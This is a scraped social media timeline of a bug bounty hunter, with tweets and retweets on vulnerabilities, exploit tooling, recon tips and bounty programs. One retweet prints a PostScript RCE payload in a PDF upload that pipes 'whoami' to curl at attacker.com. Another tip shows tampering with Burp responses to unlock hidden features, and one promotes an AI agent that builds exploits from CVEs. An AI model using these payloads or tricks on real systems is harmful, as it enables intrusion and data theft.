Pinned Tweet
Just got a reward for a critical vulnerability submitted on @yeswehack -- Improper Access Control - Generic (CWE-284). yeswehack.com/hunters/elli0t #YesWeRHackers
Pastaga retweeted
NTLM reflection attacks can be used to compromise Active Directory domains even with SMB signing if systems aren’t fully patched
depthsecurity.com/blog/using…
Pastaga retweeted
A Critical (CVSS 10.0) RCE flaw (CVE-2025-65108) in md-to-pdf allows arbitrary JavaScript code execution via malicious front-matter. Over 47K weekly downloads are affected. Update to v5.2.5.
#mdtopdf #RCE #SupplyChain #Cybersecurity
securityonline.info/critical…
Pastaga retweeted
RCE on PDF upload:
Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"
Content-Type: application/pdf
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl attacker.com/?a=$(whoami|bas…) )
.putdeviceparams
quit
hackerone.com/reports/403417
Pastaga retweeted
🚨 What happens when #AI can weaponize #vulnerabilities in minutes, not weeks?
We created an agentic system that takes open-source #CVEs and creates exploits in under 15 minutes and for 1$ each.
👉 Read our deep dive & list of exploits: autoexploit.ai
#Cyber #LLM
Pastaga retweeted
Testing for file upload vulnerabilities? 🧐
Check out Malicious PDF Generator, an open-source toolkit to help you generate tens of malicious PDF files designed to exploit various vulnerabilities and insecure features found in PDF readers! 🤠
🔗 github.com/jonaslejon/malici…
Pastaga retweeted
🚀 JS Explorer is live now! Discover JS URLs from domains for free. Powered with 500M JS URLs and updating every week. Visit jsmon.sh/jsexplorer/ now.
✅ Retweet, bookmark and share link with your friends in bugbounty, cybersecurity and OSINT research.
Snaffpoint is a good tool to grab candies on onprem SharePoint instances 🍬 I've updated this tool targeting only specific entity/projet in your domain - to filter results!
Take a look 👀
github.com/niranc/SnaffPoint
Pastaga retweeted
Open source alternative with confirmed bug bounties
Code: github.com/aliasrobotics/cai
Paper: arxiv.org/abs/2504.06017
Pastaga retweeted
Use NextJS? Recon Tip by renniepak
A quick way to find "all" paths for Next.js websites:
DevTools->Console
console.log(__BUILD_MANIFEST.sortedPages)
javascript:console.log(__BUILD_MANIFEST.sortedPages.join('\n'));
#infosec #cybersec #bugbountytips
Crazy client-side app admin hack tip:
1. Add Burp
2. Set scope
3. Intercept proxy responses
4. Modify to "grab in scope items"
5. Match & replace "false" → "true" in response body
Browse the app 👀
You might unlock some "hidden features" 🧙♂️
Pastaga retweeted
In light of the recent @Bybit_Official billionaire hack, and in case you were wondering...
They offer a generous 4,000 USDT for Critical vulnerabilities! A powerful contestant against @circle’s budget bounty
It seems the ticker is $BYEBIT btw
New Nuclei template ⚡
Detects non-existent Insta/LinkedIn/X/YouTube accounts → potential takeover!
Combine with Katana for better results 👀
#bugbounty #infosec #cybersecurity 🕵️♂️🚀
